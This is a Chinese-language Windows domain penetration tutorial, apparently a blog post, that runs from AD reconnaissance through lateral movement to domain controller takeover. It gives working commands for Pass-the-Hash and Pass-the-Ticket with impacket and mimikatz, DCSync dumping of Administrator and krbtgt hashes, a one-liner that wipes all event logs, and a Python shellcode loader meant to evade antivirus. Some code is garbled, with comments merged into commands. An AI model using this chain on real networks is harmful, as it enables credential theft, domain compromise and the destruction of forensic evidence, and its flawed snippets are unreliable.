一、进入域世界:Windows域的基础知识
在渗透测试中,Windows域始终是攻击者的“乐园”。无论是企业网络还是组织机构,域控制器(Domain Controller, DC)通常充当核心角色,管理用户认证、资源访问和策略分发。如果你能攻破一个域控制器,就等于拿到了整个王国的钥匙。
在这里,我们需要了解几个关键概念:
1. 域架构的核心元素
- Active Directory (AD): 域的核心服务,负责用户、组、计算机等对象的管理。
- 域控制器: 运行 AD 服务的服务器,通常是攻击的重点目标。
- Kerberos协议: 实现认证的核心协议,通过票据来验证访问权限。
- LDAP协议: 用于对象查询和管理,很多信息收集基于此协议。
2. 常见域渗透攻击路径
在实际攻击中,以下路径非常常见:
- 用户身份劫持: 捕获凭据,通过Pass-the-Hash、Pass-the-Ticket等方式横向移动。
- 权限提升: 利用域策略漏洞或错误配置。
- 域控制器攻陷: 最终目标,控制DC意味着控制整个域。
接下来,我们将通过完整的技术链条,展示如何从零开始渗透一个Windows域。
---
二、从信息收集开始:域信息的探测技巧
在真正进入攻击阶段之前,我们需要尽可能详细地了解目标域的架构和配置。信息收集是域渗透最核心的环节之一,精准的探测可以让后续攻击事半功倍。
1. 使用 PowerShell 获取域信息
PowerShell 是获取域信息的利器,尤其是在内网环境中。
以下是基础信息收集脚本示例:
<pre><code class="language-powershell"># 获取当前域信息 Get-ADDomain

获取域用户列表
Get-ADUser -Filter * | Select Name, SamAccountName, Enabled
获取域组列表
Get-ADGroup -Filter * | Select Name, GroupScope
获取域计算机列表
Get-ADComputer -Filter * | Select Name, OperatingSystem, LastLogonDate
获取域控制器
Get-ADDomainController -Filter * | Select Name, Site</code></pre>
2. 使用 LDAP 查询域信息
如果你手上有 LDAP 访问权限,下面的 Python 脚本可以直接获取域信息:
<pre><code class="language-python">from ldap3 import Server, Connection, ALL
连接到域服务器
server = Server('ldap://192.168.1.10', get_info=ALL) conn = Connection(server, user='CN=admin,CN=Users,DC=example,DC=com', password='Password123', auto_bind=True)
查看域根
conn.search('DC=example,DC=com', '(objectclass=*)', attributes=['dn', 'cn']) print(conn.entries)
获取用户列表
conn.search('DC=example,DC=com', '(objectClass=user)', attributes=['cn', 'sAMAccountName']) for entry in conn.entries: print(entry)
获取计算机列表
conn.search('DC=example,DC=com', '(objectClass=computer)', attributes=['cn', 'operatingSystem']) for entry in conn.entries: print(entry)</code></pre>
这类脚本可以帮助你快速获取域内关键信息,比如用户账号、计算机名称以及域结构。
---
三、横向移动的艺术:利用凭据跳转
在域渗透中,横向移动(Lateral Movement)是关键环节。目标从单一主机扩大到整个域网络,让攻击者能够逐步接近域控制器。

1. Pass-the-Hash 技术
如果你能拿到某个用户的 NTLM hash,就可以直接利用它进行身份认证,而不需要明文密码。
通过 impacket 工具实现 Pass-the-Hash:
<pre><code class="language-bash"># 使用 wmiexec.py 进行命令执行 python3 wmiexec.py 'example.com/Administrator:aad3b435b51404eeaad3b435b51404ee'@192.168.1.5
使用 smbexec.py 远程访问文件共享
python3 smbexec.py 'example.com/Administrator:aad3b435b51404eeaad3b435b51404ee'@192.168.1.5</code></pre>
2. Pass-the-Ticket 技术
如果你捕获了某用户的 Kerberos 票据(TGT),可以直接通过票据进行认证。
使用以下命令导入 TGT 并访问目标服务:
<pre><code class="language-bash"># 使用 mimikatz 抓取 TGT privilege::debug sekurlsa::tickets
保存票据文件
kerberos::ptc /export:ticket.kirbi
使用 impacket 加载票据
export KRB5CCNAME=ticket.kirbi python3 wmiexec.py -k -no-pass [email protected]</code></pre>
---
四、最终目标:域控制器的攻陷
拿下域控制器是域渗透的终极目标。以下是几种常用方法。
1. 利用 DCSync 偷取敏感数据
DCSync 是一种模拟域控制器的操作,直接通过 AD 同步用户信息(包括密码哈希)。
使用 mimikatz 执行 DCSync:
<pre><code class="language-powershell"># 获取域用户的 NTLM hash privilege::debug lsadump::dcsync /user:Administrator
获取 krbtgt 用户的 NTLM hash
lsadump::dcsync /user:krbtgt</code></pre>
2. 域管理员权限提升
如果你发现某台主机上的用户属于域管理员组,可以直接利用权限进行域控制。
PowerShell 获取域管理员列表:
<pre><code class="language-powershell">Get-ADGroupMember -Identity "Domain Admins"</code></pre>
梳理出域管理员用户后,通过 Pass-the-Hash 或 Pass-the-Ticket 技术访问域控制器。
---
五、痕迹清除与对抗 EDR
在域渗透过程中,清除攻击痕迹和对抗 EDR 是至关重要的环节。以下是几点实用技巧:
1. 日志清理
通过以下命令清除事件日志:
<pre><code class="language-powershell"># 清除所有事件日志 wevtutil el | Foreach-Object {wevtutil cl $_}</code></pre>
2. 内存免杀
使用以下 Python 脚本将恶意载荷加载到目标内存中,绕过杀毒软件:
<pre><code class="language-python">import ctypes
shellcode = b"\x90\x50\x48\x31\xd2\x48\xbb\x5a\x75\x1e\x2a\x00\x00\x00\x00" # 示例shellcode ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), shellcode, ctypes.c_int(len(shellcode))) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))</code></pre>
---
六、个人经验:域渗透中的细节问题
在多年的域渗透测试中,我发现以下几点最容易被忽视:
- 用户权限的误判: 有时候普通用户的权限配置不当,实际却拥有管理员级别的访问能力。
- 组策略漏洞: 细致检查 GPO 配置,往往能发现意外的权限提升路径。
- 凭据复用: 很多域用户的密码是全网统一的,这种情况下攻击会非常高效。
总之,域渗透并不是单一技术的比拼,而是对策略、工具、细节的综合考量。
